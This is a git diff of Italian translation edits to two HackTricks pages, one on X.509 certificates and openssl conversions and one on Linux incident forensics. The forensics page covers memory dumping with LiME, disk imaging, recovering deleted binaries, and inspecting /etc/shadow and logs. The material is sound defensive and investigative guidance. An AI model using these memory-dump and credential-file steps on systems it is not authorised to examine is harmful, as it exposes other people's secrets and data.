diff --git a/crypto-and-stego/certificates.md b/crypto-and-stego/certificates.md
index 9ae868ac7..ab72d5f8c 100644
--- a/crypto-and-stego/certificates.md
+++ b/crypto-and-stego/certificates.md
@@ -6,9 +6,9 @@
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
-* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
+* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
@@ -17,16 +17,16 @@ Altri modi per supportare HackTricks:
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
## Cos'è un Certificato
Un **certificato di chiave pubblica** è un'identità digitale utilizzata in crittografia per dimostrare che qualcuno possiede una chiave pubblica. Include i dettagli della chiave, l'identità del proprietario (il soggetto) e una firma digitale da un'autorità fidata (l'emittente). Se il software si fida dell'emittente e la firma è valida, è possibile comunicare in modo sicuro con il proprietario della chiave.
-I certificati sono principalmente emessi da [autorità di certificazione](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) in un'infrastruttura a [chiave pubblica](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Un altro metodo è la [rete di fiducia](https://en.wikipedia.org/wiki/Web\_of\_trust), dove gli utenti verificano direttamente le chiavi degli altri. Il formato comune per i certificati è [X.509](https://en.wikipedia.org/wiki/X.509), che può essere adattato per esigenze specifiche come descritto in RFC 5280.
+I certificati sono principalmente emessi da [autorità di certificazione](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) in un'infrastruttura a chiave pubblica (PKI). Un altro metodo è la [rete di fiducia](https://en.wikipedia.org/wiki/Web\_of\_trust), dove gli utenti verificano direttamente le chiavi degli altri. Il formato comune per i certificati è [X.509](https://en.wikipedia.org/wiki/X.509), che può essere adattato per esigenze specifiche come descritto in RFC 5280.
## Campi Comuni di x509
@@ -51,7 +51,7 @@ Nei certificati x509, diversi **campi** svolgono ruoli critici per garantire la
* **Utilizzo Esteso Chiave** restringe ulteriormente i casi d'uso del certificato, ad esempio per l'autenticazione del server TLS.
* **Nome Alternativo Soggetto** e **Vincolo di Base** definiscono ulteriori nomi host coperti dal certificato e se si tratta di un certificato CA o di entità finale, rispettivamente.
* Gli identificatori come **Identificatore Chiave Soggetto** e **Identificatore Chiave Autorità** garantiscono unicità e tracciabilità delle chiavi.
-* **Accesso alle Informazioni sull'Autorità** e **Punti di Distribuzione CRL** forniscono percorsi per verificare l'emittente CA e controllare lo stato di revoca del certificato.
+* **Accesso alle Informazioni dell'Autorità** e **Punti di Distribuzione CRL** forniscono percorsi per verificare l'autorità di emissione e controllare lo stato di revoca del certificato.
* **CT Precertificate SCTs** offrono registri di trasparenza, cruciali per la fiducia pubblica nel certificato.
```python
# Example of accessing and using x509 certificate fields programmatically:
@@ -88,11 +88,11 @@ La Trasparenza del Certificato aiuta a contrastare le minacce legate ai certific
#### **Log dei Certificati**
-I log dei certificati sono registri pubblicamente verificabili e aggiornabili solo in appendice dei certificati, mantenuti da servizi di rete. Questi log forniscono prove crittografiche a fini di audit. Sia le autorità di emissione che il pubblico possono inviare certificati a questi log o interrogarli per la verifica. Anche se il numero esatto di server di log non è fisso, ci si aspetta che sia inferiore a mille a livello globale. Questi server possono essere gestiti in modo indipendente da CA, ISP o da qualsiasi entità interessata.
+I log dei certificati sono registri pubblicamente verificabili e aggiornabili di certificati, mantenuti da servizi di rete. Questi log forniscono prove crittografiche a fini di audit. Sia le autorità di emissione che il pubblico possono inviare certificati a questi log o interrogarli per la verifica. Anche se il numero esatto di server di log non è fisso, ci si aspetta che sia inferiore a mille a livello globale. Questi server possono essere gestiti in modo indipendente da CA, ISP o da qualsiasi entità interessata.
#### **Interrogazione**
-Per esplorare i log di Trasparenza del Certificato per un qualsiasi dominio, visita [https://crt.sh/](https://crt.sh).
+Per esplorare i log di Trasparenza del Certificato per qualsiasi dominio, visita [https://crt.sh/](https://crt.sh).
Esistono formati diversi per memorizzare i certificati, ognuno con i propri casi d'uso e compatibilità. Questo riassunto copre i principali formati e fornisce indicazioni sulla conversione tra di essi.
@@ -100,17 +100,17 @@ Esistono formati diversi per memorizzare i certificati, ognuno con i propri casi
### **Formato PEM**
-* Formato più ampiamente usato per i certificati.
+* Formato più ampiamente utilizzato per i certificati.
* Richiede file separati per i certificati e le chiavi private, codificati in Base64 ASCII.
* Estensioni comuni: .cer, .crt, .pem, .key.
-* Principalmente usato da Apache e server simili.
+* Principalmente utilizzato da Apache e server simili.
### **Formato DER**
* Un formato binario dei certificati.
* Manca delle dichiarazioni "BEGIN/END CERTIFICATE" presenti nei file PEM.
* Estensioni comuni: .cer, .der.
-* Spesso usato con piattaforme Java.
+* Spesso utilizzato con piattaforme Java.
### **Formato P7B/PKCS#7**
@@ -122,7 +122,7 @@ Esistono formati diversi per memorizzare i certificati, ognuno con i propri casi
* Un formato binario che racchiude certificati del server, certificati intermedi e chiavi private in un unico file.
* Estensioni: .pfx, .p12.
-* Principalmente usato su Windows per l'importazione ed esportazione di certificati.
+* Principalmente utilizzato su Windows per l'importazione ed esportazione di certificati.
### **Conversione dei Formati**
@@ -168,7 +168,7 @@ openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
-2. Converti il file CER e la Chiave Privata in formato PFX
+2. Converti il file CER e la Chiave Privata in formato PFX.
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
@@ -177,21 +177,21 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
-Impara l'hacking su AWS da zero a eroe conhtARTE (Esperto Red Team AWS di HackTricks)!
+Impara l'hacking su AWS da zero a eroe conhtARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
-* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
-* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
+* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
index 06b918b04..d11d537c8 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
@@ -3,22 +3,22 @@
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-Impara l'hacking su AWS da zero a eroe conhtARTE (HackTricks AWS Red Team Expert)!
+Impara l'hacking di AWS da zero a eroe conhtARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -26,7 +26,7 @@ Altri modi per supportare HackTricks:
### Informazioni di Base
-Prima di tutto, è consigliabile avere una **USB** con **binari e librerie noti e validi** (puoi semplicemente prendere ubuntu e copiare le cartelle _/bin_, _/sbin_, _/lib,_ e _/lib64_), quindi montare la USB e modificare le variabili d'ambiente per utilizzare quei binari:
+Prima di tutto, è consigliabile avere una **USB** con **binari e librerie noti e validi** (puoi semplicemente prendere Ubuntu e copiare le cartelle _/bin_, _/sbin_, _/lib_ e _/lib64_), quindi montare la USB e modificare le variabili d'ambiente per utilizzare quei binari:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
@@ -53,9 +53,9 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
Durante l'ottenimento delle informazioni di base dovresti controllare cose strane come:
-- I **processi root** di solito vengono eseguiti con PIDS bassi, quindi se trovi un processo root con un PID alto potresti sospettare
-- Controlla i **login registrati** degli utenti senza una shell dentro `/etc/passwd`
-- Controlla gli **hash delle password** dentro `/etc/shadow` per gli utenti senza una shell
+- I **processi root** di solito vengono eseguiti con PIDS bassi, quindi se trovi un processo root con un PID elevato potresti sospettare
+- Controlla i **login registrati** degli utenti senza una shell all'interno di `/etc/passwd`
+- Controlla gli **hash delle password** all'interno di `/etc/shadow` per gli utenti senza una shell
### Dump della memoria
@@ -66,8 +66,8 @@ Per **compilarlo**, è necessario utilizzare lo **stesso kernel** che sta utiliz
Ricorda che **non puoi installare LiME o qualsiasi altra cosa** nella macchina vittima in quanto apporterà diverse modifiche ad essa
{% endhint %}
-Quindi, se hai una versione identica di Ubuntu puoi utilizzare `apt-get install lime-forensics-dkms`\
-In altri casi, è necessario scaricare [**LiME**](https://github.com/504ensicsLabs/LiME) da github e compilarlo con le intestazioni del kernel corrette. Per **ottenere le esatte intestazioni del kernel** della macchina vittima, puoi semplicemente **copiare la directory** `/lib/modules/` sulla tua macchina, e poi **compilare** LiME utilizzandole:
+Quindi, se hai una versione identica di Ubuntu, puoi utilizzare `apt-get install lime-forensics-dkms`\
+In altri casi, è necessario scaricare [**LiME**](https://github.com/504ensicsLabs/LiME) da github e compilarlo con gli header del kernel corretti. Per **ottenere gli header del kernel esatti** della macchina vittima, puoi semplicemente **copiare la directory** `/lib/modules/` sulla tua macchina e quindi **compilare** LiME utilizzandoli:
```bash
make -C /lib/modules//build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@@ -75,7 +75,7 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
LiME supporta 3 **formati**:
* Raw (ogni segmento concatenato insieme)
-* Padded (come raw, ma con zeri nei bit destri)
+* Padded (come raw, ma con zeri nei bit a destra)
* Lime (formato consigliato con metadati)
LiME può anche essere utilizzato per **inviare il dump tramite rete** anziché memorizzarlo sul sistema utilizzando qualcosa del genere: `path=tcp:4444`
@@ -85,11 +85,11 @@ LiME può anche essere utilizzato per **inviare il dump tramite rete** anziché
#### Spegnimento
Innanzitutto, sarà necessario **spegnere il sistema**. Questo non è sempre un'opzione poiché a volte il sistema sarà un server di produzione che l'azienda non può permettersi di spegnere.\
-Ci sono **2 modi** per spegnere il sistema, uno **spegnimento normale** e uno **spegnimento improvviso**. Il primo permetterà ai **processi di terminare come al solito** e al **filesystem** di essere **sincronizzato**, ma permetterà anche al possibile **malware** di **distruggere le prove**. L'approccio "spento improvviso" potrebbe comportare **una certa perdita di informazioni** (non molte informazioni andranno perse poiché abbiamo già preso un'immagine della memoria) e il **malware non avrà alcuna opportunità** di fare qualcosa al riguardo. Pertanto, se **sospetti** che ci possa essere un **malware**, esegui semplicemente il comando **`sync`** sul sistema e stacca la spina.
+Ci sono **2 modi** per spegnere il sistema, uno **spegnimento normale** e uno **spegnimento improvviso**. Il primo permetterà ai **processi di terminare come al solito** e al **filesystem** di essere **sincronizzato**, ma permetterà anche al possibile **malware** di **distruggere le prove**. L'approccio "scollegare la spina" potrebbe comportare **una certa perdita di informazioni** (non molte informazioni andranno perse poiché abbiamo già preso un'immagine della memoria) e il **malware non avrà alcuna opportunità** di fare nulla al riguardo. Pertanto, se si **sospetta** la presenza di un **malware**, eseguire semplicemente il comando **`sync`** sul sistema e staccare la spina.
#### Creazione di un'immagine del disco
-È importante notare che **prima di collegare il tuo computer a qualcosa relativo al caso**, devi essere sicuro che verrà **montato in sola lettura** per evitare di modificare qualsiasi informazione.
+È importante notare che **prima di collegare il computer a qualcosa relativo al caso**, è necessario assicurarsi che sia **montato in sola lettura** per evitare la modifica di qualsiasi informazione.
```bash
#Create a raw copy of the disk
dd if= of= bs=512
@@ -98,7 +98,7 @@ dd if= of= bs=512
dcfldd if= of= bs=512 hash= hashwindow= hashlog=
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
-### Pre-analisi dell'immagine del disco
+### Analisi preliminare dell'immagine del disco
Immaginare un'immagine del disco senza ulteriori dati.
```bash
@@ -156,12 +156,12 @@ ThisisTheMasterSecret
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) per creare e **automatizzare facilmente** flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-## Ricerca di Malware conosciuti
+## Ricerca di Malware Conosciuti
### File di Sistema Modificati
@@ -178,14 +178,14 @@ Leggi la seguente pagina per scoprire gli strumenti che possono essere utili per
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
-## Ricerca dei programmi installati
+## Ricerca dei Programmi Installati
Per cercare efficacemente i programmi installati sia nei sistemi Debian che RedHat, considera di sfruttare i log di sistema e i database insieme a controlli manuali nelle directory comuni.
* Per Debian, ispeziona _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ per ottenere dettagli sull'installazione dei pacchetti, utilizzando `grep` per filtrare informazioni specifiche.
* Gli utenti RedHat possono interrogare il database RPM con `rpm -qa --root=/mntpath/var/lib/rpm` per elencare i pacchetti installati.
-Per scoprire il software installato manualmente o al di fuori di questi gestori di pacchetti, esplora directory come _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, e _**`/sbin`**_. Combina le liste delle directory con comandi specifici del sistema per identificare eseguibili non associati a pacchetti conosciuti, migliorando la tua ricerca di tutti i programmi installati.
+Per scoprire software installato manualmente o al di fuori di questi gestori di pacchetti, esplora directory come _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ e _**`/sbin`**_. Combina l'elenco delle directory con comandi specifici del sistema per identificare eseguibili non associati a pacchetti conosciuti, migliorando la ricerca di tutti i programmi installati.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@@ -204,14 +204,14 @@ find / -type f -executable | grep
\
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati** al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-## Recupero dei file binari in esecuzione eliminati
+## Recupero dei binari in esecuzione eliminati
-Immagina un processo eseguito da /tmp/exec e successivamente eliminato. E' possibile estrarlo
+Immagina un processo eseguito da /tmp/exec e successivamente eliminato. È possibile estrarlo
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
@@ -239,10 +239,10 @@ Percorsi in cui un malware potrebbe essere installato come servizio:
- **/etc/inittab**: Chiama gli script di inizializzazione come rc.sysinit, indirizzando ulteriormente agli script di avvio.
- **/etc/rc.d/** e **/etc/rc.boot/**: Contengono script per l'avvio dei servizi, quest'ultimo trovato nelle versioni più vecchie di Linux.
-- **/etc/init.d/**: Usato in certe versioni di Linux come Debian per memorizzare gli script di avvio.
+- **/etc/init.d/**: Usato in alcune versioni di Linux come Debian per memorizzare gli script di avvio.
- I servizi possono anche essere attivati tramite **/etc/inetd.conf** o **/etc/xinetd/**, a seconda della variante di Linux.
- **/etc/systemd/system**: Una directory per gli script del sistema e del gestore dei servizi.
-- **/etc/systemd/system/multi-user.target.wants/**: Contiene collegamenti ai servizi che dovrebbero essere avviati in un runlevel multi-utente.
+- **/etc/systemd/system/multi-user.target.wants/**: Contiene collegamenti ai servizi che dovrebbero essere avviati in un runlevel multiutente.
- **/usr/local/etc/rc.d/**: Per servizi personalizzati o di terze parti.
- **\~/.config/autostart/**: Per applicazioni di avvio automatico specifiche dell'utente, che possono essere un nascondiglio per malware mirati agli utenti.
- **/lib/systemd/system/**: File di unità predefiniti a livello di sistema forniti dai pacchetti installati.
@@ -263,28 +263,28 @@ Linux utilizza vari file per eseguire automaticamente programmi all'accesso dell
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, e **\~/.config/autostart**: File specifici dell'utente che vengono eseguiti al loro accesso.
- **/etc/rc.local**: Eseguito dopo che tutti i servizi di sistema sono stati avviati, segnando la fine della transizione a un ambiente multiutente.
-## Esaminare i Log
+## Esamina i Log
I sistemi Linux tengono traccia delle attività degli utenti e degli eventi di sistema attraverso vari file di log. Questi log sono fondamentali per identificare accessi non autorizzati, infezioni da malware e altri incidenti di sicurezza. I file di log chiave includono:
- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Catturano messaggi e attività a livello di sistema.
- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registrano tentativi di autenticazione, accessi riusciti e falliti.
-- Utilizzare `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` per filtrare eventi di autenticazione rilevanti.
+- Utilizza `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` per filtrare eventi di autenticazione rilevanti.
- **/var/log/boot.log**: Contiene messaggi di avvio del sistema.
- **/var/log/maillog** o **/var/log/mail.log**: Registri delle attività del server di posta elettronica, utili per tracciare servizi correlati alla posta elettronica.
- **/var/log/kern.log**: Memorizza messaggi del kernel, inclusi errori e avvisi.
-- **/var/log/dmesg**: Contiene messaggi dei driver di dispositivo.
-- **/var/log/faillog**: Registra tentativi di accesso falliti, aiutando nelle indagini sulle violazioni di sicurezza.
+- **/var/log/dmesg**: Contiene messaggi dei driver del dispositivo.
+- **/var/log/faillog**: Registra tentativi di accesso falliti, utili nelle indagini di violazioni di sicurezza.
- **/var/log/cron**: Registra l'esecuzione dei job cron.
- **/var/log/daemon.log**: Traccia le attività dei servizi in background.
- **/var/log/btmp**: Documenta tentativi di accesso falliti.
-- **/var/log/httpd/**: Contiene log degli errori e degli accessi di Apache HTTPD.
+- **/var/log/httpd/**: Contiene log degli errori e di accesso di Apache HTTPD.
- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registri delle attività del database MySQL.
- **/var/log/xferlog**: Registra trasferimenti di file FTP.
-- **/var/log/**: Controllare sempre i log inaspettati qui.
+- **/var/log/**: Controlla sempre i log inaspettati qui.
{% hint style="info" %}
-I log di sistema e i sottosistemi di audit di Linux possono essere disabilitati o eliminati in caso di intrusione o incidente di malware. Poiché i log nei sistemi Linux generalmente contengono alcune delle informazioni più utili sulle attività dannose, gli intrusi li eliminano di routine. Pertanto, quando si esaminano i file di log disponibili, è importante cercare lacune o voci fuori sequenza che potrebbero essere un'indicazione di eliminazione o manomissione.
+I log di sistema e i sottosistemi di audit di Linux possono essere disabilitati o eliminati in caso di intrusione o incidente da malware. Poiché i log nei sistemi Linux generalmente contengono alcune delle informazioni più utili sulle attività dannose, gli intrusi li eliminano regolarmente. Pertanto, quando si esaminano i file di log disponibili, è importante cercare interruzioni o voci fuori sequenza che potrebbero essere un'indicazione di eliminazione o manomissione.
{% endhint %}
**Linux mantiene uno storico dei comandi per ciascun utente**, memorizzato in:
@@ -320,7 +320,7 @@ Alcune app generano anche i propri log:
[**usbrip**](https://github.com/snovvcrash/usbrip) è un piccolo software scritto in Python 3 puro che analizza i file di log di Linux (`/var/log/syslog*` o `/var/log/messages*` a seconda della distribuzione) per costruire tabelle storiche degli eventi USB.
-È interessante **conoscere tutti gli USB che sono stati utilizzati** e sarà più utile se si dispone di un elenco autorizzato di USB per individuare "eventi di violazione" (l'uso di USB che non sono all'interno di quell'elenco).
+È interessante **conoscere tutti gli USB utilizzati** e sarà più utile se si dispone di un elenco autorizzato di USB per individuare "eventi di violazione" (l'uso di USB che non sono all'interno di tale elenco).
### Installazione
```bash
@@ -340,26 +340,26 @@ Ulteriori esempi e informazioni all'interno del github: [https://github.com/snov
\
-Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-## Esamina gli Account Utente e le Attività di Accesso
+## Esaminare gli Account Utente e le Attività di Accesso
-Esamina i file _**/etc/passwd**_, _**/etc/shadow**_ e i **log di sicurezza** per individuare nomi o account insoliti creati e/o utilizzati in prossimità di eventi non autorizzati noti. Inoltre, controlla possibili attacchi di forza bruta sudo.\
+Esamina i file _**/etc/passwd**_, _**/etc/shadow**_ e i **log di sicurezza** per individuare nomi o account insoliti creati e/o utilizzati in prossimità di eventi non autorizzati noti. Controlla anche possibili attacchi di forza bruta sudo.\
Inoltre, controlla file come _**/etc/sudoers**_ e _**/etc/groups**_ per privilegi inaspettati assegnati agli utenti.\
Infine, cerca account senza **password** o con password **facilmente indovinabili**.
-## Esamina il File System
+## Esaminare il File System
-### Analisi delle Strutture del File System nelle Indagini sui Malware
+### Analisi delle Strutture del File System nell'Investigazione di Malware
-Nelle indagini sugli incidenti di malware, la struttura del file system è una fonte cruciale di informazioni, rivelando sia la sequenza degli eventi che il contenuto del malware. Tuttavia, gli autori di malware stanno sviluppando tecniche per ostacolare questa analisi, come la modifica dei timestamp dei file o l'evitare il file system per lo storage dei dati.
+Nell'indagine sugli incidenti di malware, la struttura del file system è una fonte cruciale di informazioni, rivelando sia la sequenza degli eventi che il contenuto del malware. Tuttavia, gli autori di malware stanno sviluppando tecniche per ostacolare questa analisi, come la modifica dei timestamp dei file o l'evitare il file system per lo storage dei dati.
Per contrastare questi metodi anti-forensi, è essenziale:
-* **Condurre un'analisi dettagliata della timeline** utilizzando strumenti come **Autopsy** per visualizzare le timeline degli eventi o il `mactime` di **Sleuth Kit** per dati dettagliati sulla timeline.
+* **Condurre un'analisi dettagliata della timeline** utilizzando strumenti come **Autopsy** per visualizzare le timeline degli eventi o `mactime` di **Sleuth Kit** per dati dettagliati sulla timeline.
* **Investigare script inaspettati** nel $PATH del sistema, che potrebbero includere script shell o PHP utilizzati dagli attaccanti.
* **Esaminare `/dev` per file atipici**, poiché tradizionalmente contiene file speciali, ma potrebbe contenere file correlati al malware.
* **Cercare file o directory nascosti** con nomi come ".. " (punto punto spazio) o "..^G" (punto punto control-G), che potrebbero nascondere contenuti dannosi.
@@ -421,17 +421,17 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFTs**](https://opensea.io/collection/the-peass-family) esclusivi
-* Ottieni il [**PEASS ufficiale & HackTricks swag**](https://peass.creator-spring.com)
-* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
+* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) **gruppo Discord**](https://discord.gg/hRep4RUj7f) o al **gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
